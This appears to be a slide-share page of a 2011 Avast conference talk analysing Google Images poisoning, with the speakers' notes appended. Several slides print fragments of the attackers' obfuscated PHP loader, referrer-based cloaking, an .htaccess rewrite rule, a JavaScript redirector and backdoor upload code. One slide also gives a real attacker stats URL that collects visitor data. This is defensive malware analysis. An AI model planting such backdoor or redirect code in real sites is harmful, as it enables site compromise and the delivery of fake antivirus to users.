Google-image poisoning: How hackers use images to spread malware
•
1 like•1,764 views
This document discusses Google image poisoning attacks, which use hacked sites to redirect users searching for images to sites containing fake antivirus software or exploits. The attacks work by generating keyword-rich pages with hotlinked images that are indexed highly by search bots. An evolving PHP script is used to create spam pages, change server settings, download malicious files, and redirect users to the fake sites. Data from Avast shows over 22,000 infected domains have been detected between March and August 2011 through this method.
More Related Content
What's hot
What's hot (20)
Similar to Google-image poisoning: How hackers use images to spread malware
Similar to Google-image poisoning: How hackers use images to spread malware (20)
More from Avast
Recently uploaded
Recently uploaded (20)
Google-image poisoning: How hackers use images to spread malware
- 1. Analysis of Google Images Poisoning Lukáš Hasík Jan Širmer www.avast.com
- 2. AVAR 2011 Agenda • What is Google-images poisoning? • How it works • Doorway generator • Java script redirector • Evolution • Data from AVAST CommunityIQ userbase • Summary • Questions www.avast.com
- 3. AVAR 2011 Google Images poisoning • SEO blackhat poisoning attack • Uses hacked sites to redirect users to sites containing fake AV or exploit • Uses key-word rich pages with hot-linked images for higher indexing by search bots • Images from hacked sites are near the top search results • Focused on users coming from well-know search engines www.avast.com
- 4. AVAR 2011 Google Images poisoning www.avast.com User Infected server How it works?
- 5. AVAR 2011 Google search results www.avast.com
- 6. AVAR 2011 Google Images poisoning www.avast.com User Infected server Remote serverFake AV
- 8. AVAR 2011 Google Images poisoning www.avast.com User Infected server Remote serverFake AV Bad guy
- 9. AVAR 2011 Why is it so successful? www.avast.com • Great SEO and nobody used SEO for “images”
- 10. AVAR 2011 Why is it so successful? (2) www.avast.com Infected serverFake AV • Computer users do not expect that they can get infected when searching for images on legitimate sites
- 11. AVAR 2011 Why is it so successful? (3) • Hide and Seek – if users are using Opera browser or they are coming from Google, Yahoo or a Bing, they are served a Java script redirector www.avast.com Malicious content
- 12. AVAR 2011 Your website gets infected • The bad guys are using stolen FTP credentials • They upload PHP script to the WEB server • This is used for uploading malicious content to the web server, creating spam pages, and uploading additional files to web server • Bonus feature - it lets the owners know that the page is ready www.avast.com
- 13. AVAR 2011 Additional malicious files • Xmlrpc.txt – Remote server address stored • -> Xml.txt -> Xml.cgi – address in Base64 • Iog.txt – Redirecting java script stored • Shab100500.txt – Spam HTML template stored • -> Don.txt – HTML template in Base64 www.avast.com
- 14. AVAR 2011 PHP script on infected sites • Earlier, they used names such as d{1,3}.php • Today, they use names like microphone.php, etc. • This script is responsible for: 1. Creating spam pages for Google bot indexing 2. Changing .htaccess 3. Serving redirect script to user to exploit sites 4. Serving redirect script to user to fake AV 5. Downloading malicious files to server 6. Telling owners that the site is ready www.avast.com
- 15. AVAR 2011 PHP script Original PHP file uploaded to server • <?eval (gzuncompress (base64_decode('eNqVWG2P4kYM/…/woBlZVj C9zK2Ok8McOZrF5z9hfM+5P/AbQiT9I=') ) ); ?> www.avast.com
- 16. AVAR 2011 PHP script PHP file after first step of deobfuscation • $GLOBALS['_1600532410_']=Array(base64_dec ode('ZXJyb3Jfcm'.'Vwb3J0'.'aW5'.'n • Function _1070120820($i) {$a=Array('c'.'Q='.'=','cQ==', • ($GLOBALS['_1600532410_'][16]( _1070120820(6))) {… www.avast.com
- 17. AVAR 2011 PHP script after removing obfuscation if (strpos($_SERVER['HTTP_USER_AGENT'], 'Opera') !== false) { } if (strpos($_SERVER['HTTP_REFERER'], 'google.') || strpos($_SERVER['HTTP_REFERER'], 'yahoo.') || strpos($_SERVER['HTTP_REFERER'], 'bing.') > 0) { $_10 = file_get_contents('.log/' . $_4 . '/xmlrpc.txt'); www.avast.com
- 18. Doorway generator • HTML template is stored in the file .log/SITE/shab100500.txt • In the new version, shab100500.txt was replaced by don.txt www.avast.com <HTML> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco </HTML> <Replaceme> </Replaceme>
- 19. Doorway generator • Get descriptions of top 50 ‘search keywords’ from Google web • Shuffle the words into their descriptions to get unique text www.avast.com harmful action against a person or group in response revenge to a grievance, be it real or rick santorum perceived
- 20. Doorway generator • Get top 20 ‘search keyword’ from Google Images and extract links to image files • Generates <img> tags and shuffle them www.avast.com <img src="http://SITE/p ath/hot-linked- image.jpg" alt="search keywords" align="random(cent er, right, left)">
- 21. Doorway generator www.avast.com harmful action against a person or group in response revenge to a grievance, be it real or rick santorum perceived <img src="http://SITE/p ath/hot-linked- image.jpg" alt="search keywords" align="random(cent er, right, left)"> harmful action against a person or group in response revenge to a grievance<img src="http://SITE/path/hot- linked-image.jpg" alt="search keywords" align="random(center, right, left)">
- 22. Doorway generator www.avast.com <HTML> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco </HTML> <Replaceme> </Replaceme> <h1>SEARCH KEYWORD</h1> Suggested links Links to 30 most recently generated links Rich-word generated text with hot-linked images Links to alternative pages
- 23. AVAR 2011 How do they make image URLs less suspicious? • "RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ ".$_SERVER[ 'SCRIPT_NAME'."?q=$1 [L] “ • this changes URL from suspicious http://SITE/wp-admin/BAD.php?q=search-keywords to http://SITE/wp-admin/search-keywords www.avast.com
- 24. AVAR 2011 PHP script evolution • The first version was focused on all users using Opera browser or users coming from Google, Yahoo or Bing • During June, we found some changes in PHP code - Google is the only target - New redirection system • Request goes to a remote server ( mydiarycom.net ) - centralized • They have statistic data from parameters • No need to update iog.txt (redirecting script) or make differentiating changes on each server www.avast.com
- 25. AVAR 2011 Data parameters http://mydiarycom.net/out/stat.cgi?parameter= 1. Name of the doorway site 2. The full URL of doorway script 3. Visitor’s IP 4. The referring URL 5. The User-Agent of the user’s browser 6. The search query used on Google www.avast.com
- 26. AVAR 2011 IP address and user-agents www.avast.com Fake AV
- 27. AVAR 2011 IP address and user-agents www.avast.com Spam page
- 28. AVAR 2011 JavaScript redirector var URL = “SITE contains FakeAV” +encodeURIComponent(document.referrer) +"¶meter=$keyword&se=$se&ur=1&HTTP_REF ERER=“ +encodeURIComponent(document.URL) +"&default_keyword=default"; if (window!=top) {top.location.href = URL;} else document.location= URL; www.avast.com
- 29. AVAR 2011 Redirection • Mac – http://IP/r/RANDOM_STRING IP and ‘r’ are change every 30 minutes • Exploit site - http://SITE/index.php?tp=RANDOM_STRING Site and ‘tp’ are change every 30 minutes • Fake AV – http://SITE/fast-scan/ www.avast.com
- 30. AVAR 2011 Other changes • Rotating user-agent string • Password-protected maintenance request Someone who know how this algorithm works can easily change it and redirect to his or her own site • Xml.txt was replaced by xml.cgi • Working with free blogs sites www.avast.com
- 31. AVAR 2011 Password-protected maintenance request if ($_GET[ 'dom100500' != '' { $_13 = fopen( '.log/'$_4. '/xmlrpc.txt' 'w+'; fwrite($_13,$_GET[ 'dom100500'); fclose($_13); if ($_GET[ 'up100500' != '' { $_14 = '' $_14 = $_14 . basename( $_FILES[ 'uploaded'[ 'name') ; $_15=round(0+0.5+0.5); if(move_uploaded_file($_FILES[ 'uploaded'[ 'tmp_name', $_14)) www.avast.com
- 32. AVAR 2011 Data from the AVAST CommunityIQ • From March to August 2011, we discovered 22,580 unique infected sites • 5,698 sites are still infected • Typo : <IMG HEIGTH=?1?WIDTH www.avast.com
- 34. AVAR 2011 Number of infected domains www.avast.com
- 35. AVAR 2011 Summary • Google-image poisoning is an easy way how to spread fake AV and exploits • It’s based on stolen FTP credentials of webmasters and great backdoor algorithms • The number of infected legitimate domains is growing every day • Common sense is not sufficient protection www.avast.com
- 36. AVAR 2011 Questions and Answers www.avast.com
- 37. AVAR 2011 Thank you Jan Sirmer (sirmer@avast.com) Senior Virus Analyst Lukas Hasik (hasik@avast.com) QA Director www.avast.com
Editor's Notes
- predstaveni
- Zminit: uspesny atak (a proc), a jak “funguje” (obecne)
- SEO – obrazky jsou “dobre rankovane”
- Presmerovani na FAKE AV, managovani zarizuje remote server
- Jak to funguje a na koho je to zamereny Ze zacatku “nerozlisovali” OS ani browsers
- Co chteji bad guys? Money!
- Black SEO
- Trust phenomenon
- Rozdilne chovani -> predat slovo
- Pred rozebiranim chovani zminit JAK se nakazily “legitimate website” + pridat “pribeh”
- Strucne!
- Main PHP script + pribeh – povidani +funke skriptu jen “vyjmenovat” (nerozebirat)
- Jak to vypadalo nejprve, a co jsme s tim museli delat (decode)
- Ma to dve pole, z kterych zbuilduje vysledny skript (zadne detaily)
- Whole PHP script has more than 400 lines of code + rozhodovaci logika
- Hlavni duvod uspechu! K cemu je urcen – co pouziva (template) Template se generuje z mainpage dane “site” == jsou “nenapadny”
- Why we can’t find theses pages in Google results to easier detection? They used simple tag <meta name=”googlebot” content=”noarchive”> shab100500.txt contains the HTML code of the site’s homepage with the <REPLACEME> placeholder, that will be later replaced with a generated spammy block. the original <title> tag is replaced with <title>Search Keywords</title> and the <meta name=”googlebot” content=”noarchive”> tag is inserted — that’s why you don’t see cached copies of the pages in Google search results, which definitely makes the problem diagnostic more difficult for webmasters Simuluje vzhled GoogleAds -Co tam strka (vysvetlit) - <noarchive>
- They modify or create .htaccess with this code Script_name is the path to the uploaded .php file
- Probably cased by low profit from other search engines ( less chance to be found if they use only one of the three browsers) Name of remote server is stored in xml.cgi as base64 string Popsat “stary” system
- Jake parametry a k cemu jim slouzi
- Popis “redirekce”
- Spam page is showed for unwanted visits
- 1. To be less suspicious when they looking for top search keywords .cgi files produce server errors when you try to open them in directories that aren’t configured to execute CGI scripts Working with free blogs sites – posting posts with hundreds of links to doorway pages
- Maintenance request: To be able to change the xml.txt(xml.cgi file in the newest version (with the domain name of the remote server)) and to use a file uploader, you now need to provide a password in the “name” parameter of a POST request. Someone who know how maintenance request works could change it to redirection on own site. this request updates the content of the xmlrpc.txt file with the domain name of a malicious server that hosts fresh redirect code. ?up100500=<some-value> – this request turns the script into an upload form.
- We are blocking 174 sites used for attack – Of course we have different more sofisticated detections
- This is based on Google blocking